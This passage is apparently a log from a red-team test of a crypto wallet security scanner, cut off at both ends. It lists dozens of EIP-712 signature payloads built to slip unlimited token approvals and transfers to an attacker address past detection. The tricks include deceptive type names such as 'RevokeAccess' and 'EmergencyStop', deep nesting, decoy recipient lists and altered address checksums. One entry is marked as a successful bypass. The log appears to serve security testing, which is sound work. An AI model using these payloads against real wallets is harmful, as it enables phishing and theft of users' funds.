Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:52:08.138Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN18-EIP3009-022", "timestamp": "2026-01-31T16:52:17.306Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x7f39c55764a9eed0fe0f198e40035348217489a1efbb1b0fa8a8e642b7a5d7cd\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN18-EIP3009-054", "timestamp": "2026-01-31T16:52:23.848Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd6f557a68074cef0f3333152c0cb2978e69ad8cec9a54f38082b83478aa6cf0a\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:52:33.574Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:52:42.768Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:52:51.954Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:53:01.140Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:53:10.329Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:53:19.526Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:53:28.711Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:53:37.880Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:53:47.121Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:53:56.322Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:54:05.496Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:54:14.902Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:54:24.075Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:54:33.477Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:54:42.659Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:54:51.818Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ 